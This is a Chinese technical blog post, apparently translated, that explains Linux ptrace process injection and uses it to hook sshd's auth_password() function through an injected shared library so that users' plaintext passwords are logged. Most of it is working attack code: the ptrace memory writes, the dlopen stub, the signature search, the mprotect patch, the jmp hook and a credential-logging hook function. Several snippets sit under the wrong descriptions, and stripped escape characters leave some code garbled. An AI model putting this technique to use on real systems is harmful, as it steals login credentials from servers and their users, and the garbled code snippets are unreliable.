虽然最近Win32 API提供了不少支持,但我还是想解决一些Linux进程中注入代码的问题,目的是将共享对象加载到另一个进程的地址空间中,而无需使用LD_PRELOAD或停止进程。
我的目标就是可以使用ptrace从sshd进程恢复纯文本凭据,虽然有许多其他方法要比在SEGV中可以更有效地实现这个目标,但是我认为如果能在SEGV中实现是很有挑战性的一件事。
什么是Ptrace?
如果你要在Windows上观察进程注入,可能会很熟悉VirtualAllocEx()、WriteProcessMemory()、ReadProcessMemory()和CreateRemoteThread()等调用套件,这几个函数都是用于在另一个进程中分配和执行一个线程的常用API方法集。在Linux环境中,内核公开了ptrace,它为调试器提供了干扰正在运行的进程的能力。
你想过怎么实现对系统调用的拦截吗?你尝试过通过改变系统调用的参数来迷惑你的操作系统内核吗?你想过调试器是如何使运行中的进程暂停并且控制它吗?
如果你考虑使用复杂的操作系统内核编程来达到目的的话,那么,你错了。实际上,由于Linux的操作系统内核已经公开了ptrace,所以你可以使用ptrace系统函数来暂停进程并控制它。 ptrace提供了一种使父进程得以监控和控制其它进程的方式,它还能够改变子进程中的寄存器和内核映像,因而可以实现断点调试和系统调用的跟踪。
使用ptrace,你可以在用户层拦截和修改系统调用(sys call),
Ptrace提供了一些有用的调试操作,比如以下6个:
PTRACE_ATTACH:允许一个进程将其自身附加到另一个进行调试,暂停远程进程。
PTRACE_PEEKTEXT :允许从另一个进程地址空间读取内存。
PTRACE_POKETEXT: 允许将内存写入另一个进程地址空间。
PTRACE_GETREGS :从进程中读取当前的一组处理器寄存器。
PTRACE_SETREGS :写入当前进程的一组处理器寄存器。
PTRACE_CONT:恢复附加进程的执行。
虽然这不是ptrace功能的全部,但我发现对于Win32来说,最大的困难是缺乏支持功能。例如,在Windows中,我可以通过VirtualAllocEx在一个进程中分配内存,然后在该进程中提供一个指向新分配的空间来写入warez的指针。然而,在实际进程中,这些步骤似乎并不存在,这意味着当我们可以随意的向另一个进程中注入代码。
那就让我们来看看我是如何使用ptrace实现对另一个进程控制的。
Ptrace对进程控制的实现
我要做的第一件事就是附加到将要定位的进程,为此,我使用了PTRACE_ATTACH参数来调用ptrace:
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
这个进程很简单,可以让我得到想要的PID目标,当被调用时,发送SIGSTOP,可以导致该进程的执行暂停。
一旦附加成功,在进行任何修改之前,我都将需要备份处理器寄存器的当前状态,这样,我就能够在后面过程中恢复执行的进程:
struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
接下来,我需要在该进程中找到一个可以编写注入代码的地方。最简单的方法是解析位于procfs中的“maps”文件。例如,Ubuntu上运行的sshd进程的“/ proc / PID / maps”文件如下所示:
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
另外,我还需要搜索一个被执行权限映射的部分(很可能是“r-xp”)。一旦找到,就类似于进程注册表,接着我需要从目标部分备份现有数据,以便稍后进行恢复,我使用的是PTRACE_PEEKTEXT:
ptrace(PTRACE_POKETEXT, pid, addr, word);
当以这种方式进行调用时,将从所提供的地址中读取1个字的数据(x86上的32位,x86-64 Linux上的64位),这意味着我必须使用递增地址参数进行重复调用。
请注意:Linux还提供process_vm_readv()和process_vm_writev()用于读取或写入进程内存。为了开头我所描述的目标,我会坚持使用ptrace。
现在我已经备份了即将消失的一部分目标进程,这样我就可以使用PTRACE_POKETEXT开始覆盖我们选择的可执行部分:
struct user_regs_struct regs;
memcpy(®s, &oldregs, sizeof(struct user_regs_struct));
// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
与PTRACE_PEEKTEXT类似,此进程也是一次处理1个字的数据并接受要写入的地址。并且类似于PTRACE_PEEKTEXT,需要多次调用来实现更多的1个字写入。
一旦代码编写完成,我就将要指向进程指令指针寄存器的注入代码进行更新。为了防止内存中的数据被覆盖,例如堆栈中保存的数据,我将使用之前备份的相同寄存器,不过仅在需要时更新:
ptrace(PTRACE_CONT, pid, NULL, NULL);
最后,我可以使用PTRACE_CONT来恢复执行的进程:
waitpid(pid, &status, WUNTRACED);
但我怎么知道我注入的代码会何时完成执行?这就要使用软件来中断,例如“int 0x3”指令,不过,这会产生一个SIGTRAP。我将使用waitpid()调用来监控这个信号,如下所示:
waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
printf("SIGTRAP receivedn");
}
waitpid()会与提供的PID执行暂停任务,并将暂停原因写入“status”变量。幸运的是,有一些宏可用,这样就更容易帮助我们了解暂停的原因。
要判断暂停是否是由于“int 0x03”指令引起的SIGTRAP而发生的,可以使用:
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
此事,已经非常清楚我所注入的代码已经执行,所有我只需要将进程恢复到原始状态,以下就是恢复原始寄存器的情况:
ptrace(PTRACE_POKETEXT, pid, addr, word);
将原始内存重新写入进程:
ptrace(PTRACE_DETACH, pid, NULL, NULL);
注入SSH
先提前说明一下,执行这一步操作,很有可能让sshd崩溃,所以要小心,不要在远程登录的实时系统或系统中进行测试。
所以我要做的一件事就是从运行的sshd进程恢复用户名和密码,查看sshd源代码,我们可以看到以下内容:
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int
auth_password(Authctxt *authctxt, const char *password)
{
...
}
看起来像是一个能够恢复纯文本凭据的地方。
现在,我需要找到一个这个函数的签名,这样我就可以在内存中进行搜索。为此,我使用了我最擅长的反汇编工具radare2在我的Vagrant框中反汇编SSH:
为了在文件中找到“auth_password”功能唯一的一组字节,我要使用radare2的十六进制搜索找到一个匹配的签名:
看来此函数是唯一的指令,便是xor rdx,rdx; cmp rax,0x400,作为返回ELF文件中的单个匹配,我会将其用作签名。
接下来我需要将代码注入sshd进程。
将.so注入sshd
要将我的代码加载到sshd中,就要注入一个非常小的存根,这就要用到dlopen()加载执行“auth_password”挂钩的共享库。
dlopen()是动态链接器调用,它会接收作为参数的共享库路径,并将库加载到调用进程中。此函数包含在libdl.so中,通常会在编译期间动态链接到你的应用程序。
幸运的是,在本文的例子中,libdl.so已经存在于sshd中,所以我需要做的就是用注入的代码调用dlopen()。然而,由于ASLR的存在,每次dlopen()都会变化一个地址,所以我必须在sshd进程中计算出它的地址。
要找到函数的地址,我首先要计算出libdl.so的基地址与dlopen()函数的区别,这可以通过以下方式完成:
unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llxn", dlopenAddr - libdlAddr);
一旦得出了偏移量,我就可以解析出libdl.so中sshd的“maps”文件,并恢复其基地址:
现在我已经在sshd中找到了libdl.so的基地址,也就是上图文件中的0x7f0490a0d000处,我可以将计算的偏移量添加到这个地址,并在注入代码调用时,使用dlopen()。
要将此地址传递给我注入的代码,就需要使用PTRACE_SETREGS中设置的寄存器。
为了将共享库的路径写入sshd进程,我还需要通过注册表传递给已经注入的存根,例如:
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
long word = 0;
int i = 0;
for (i=0; i < len; i+=sizeof(word), word=0) {
memcpy(&word, data + i, sizeof(word));
if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) {
printf("[!] Error writing process memoryn");
exit(1);
}
}
}
ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.sox00", 16)
通过删除尽可能多的注入过程,并在调用存根之前设置寄存器,我可以让注入的代码保持一种非常简单的状态,例如:
// Update RIP to point to our code, which will be just after
// our injected library name string
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;
// Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr;
// Update RDI to point to our library name string
regs.rdi = (unsigned long long)freeaddr;
// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2; // RTLD_LAZY
// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
这意味着我所注入的存根也是很简单的:
; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03
接下来,我们需要创建我们的共享库,以便它将被我注入的存根加载。
不过还是先让我们来了解一下在注入共享库时,共享对象构造函数的具体作用。
共享对象构造函数
共享库会支持通过使用__attribute __((constructor))装饰器在加载时执行代码的功能,例如:
#include <stdio.h>
void __attribute__((constructor)) test(void) {
printf("Library loaded on dlopen()n");
}
我可以使用以下GCC命令来编译此共享对象:
gcc -o test.so --shared -fPIC test.c
并使用dlopen()进行测试:
dlopen("./test.so", RTLD_LAZY);
当共享库加载时,可以看到我构造的函数也被调用:
当将共享对象注入另一个进程空间时,我便会使用此功能让注入变得更加容易。
sshd共享对象
虽然现在我已经可以注入我的共享库了,不过还需要编写我的代码,以便在运行时修补auth_password()函数。
加载共享库时,可以通过“/ proc / self / maps”procfs文件找到sshd的基地址,不过要找到此文件中sshd的“r-x”保护部分,还需要搜索到auth_password()签名所需的开始和结束地址:
fd = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) {
if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
ptr = strtoull(buffer, NULL, 16);
end = strtoull(strstr(buffer, "-")+1, NULL, 16);
break;
}
}
一旦有了我们的目标地址范围,就可以找到我的签名:
const char *search = "x31xd2x48x3dx00x04x00x00";
while(ptr < end) {
// ptr[0] == search[0] added to increase performance during searching
// no point calling memcmp if the first byte doesn't match our signature.
if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) {
break;
}
ptr++;
}
一旦注入开始,我就需要使用mprotect()来更新内存保护。这是因为该部分仅具有读取和执行权限,所以我需要写入权限才能在运行时覆盖代码:
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
由于现在我已经有了写入权限,所以我会将把钩子添加到函数的开头。为了简化钩子,我将使用下面这个小工具:
char jmphook[] = "x48xb8x48x47x46x45x44x43x42x41xffxe0";
转换为以下内容:
mov rax, 0x4142434445464748
jmp rax
当然0x4142434445464748是一个无效的地址,不过我将用我的hook函数值来进行替换:
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
然后我可以将以上所使用的小工具添加到sshd函数中。为了维持代码注入的效果和程序的简洁性,我会选择将其添加到函数的开头:
// Step back to the start of the function, which is 32 bytes
// before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));
这样我就得到了钩子函数,并负责记录传递凭证。不过在钩子之前我必须存储寄存器的副本并在返回原始代码之前恢复寄存器:
// Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsin" "push %rdin" "push %raxn" "push %rbxn" "push %rcxn" "push %rdxn" "push %r8n" "push %r9n" "push %r10n" "push %r11n" "push %r12n" "push %rbpn" "push %rspn" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %sn", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rspn" "pop %rbpn" "pop %r12n" "pop %r11n" "pop %r10n" "pop %r9n" "pop %r8n" "pop %rdxn" "pop %rcxn" "pop %rbxn" "pop %raxn" "pop %rdin" "pop %rsin" ); // Recover from the function prologue asm("mov %rbp, %rspn" "pop %rbpn" ); ...
现在注入已经完成了,不过我还是要进行一些必要的补充。如果大家按照我的描述来实现将代码注入到sshd进程中,那很可能会会发现上文中提到的凭据不适用于你。这是由于sshd会为每个新连接产生一个子进程,而正是这个子进程在处理用户的身份验证,所以我才需要对这个这个子进程进行挂钩。
为了确保sshd的子进程能够顺利运行,我决定以扫描procfs文件系统的方法,来保存sshd进程的PPID的“stats”文件。
事实证明,这对我的代码注入非常有好处,如果在你的代码注入执行过程中导致了SIGSEGV的发生,那么子进程就会被终止, sshd守护父进程也会失败。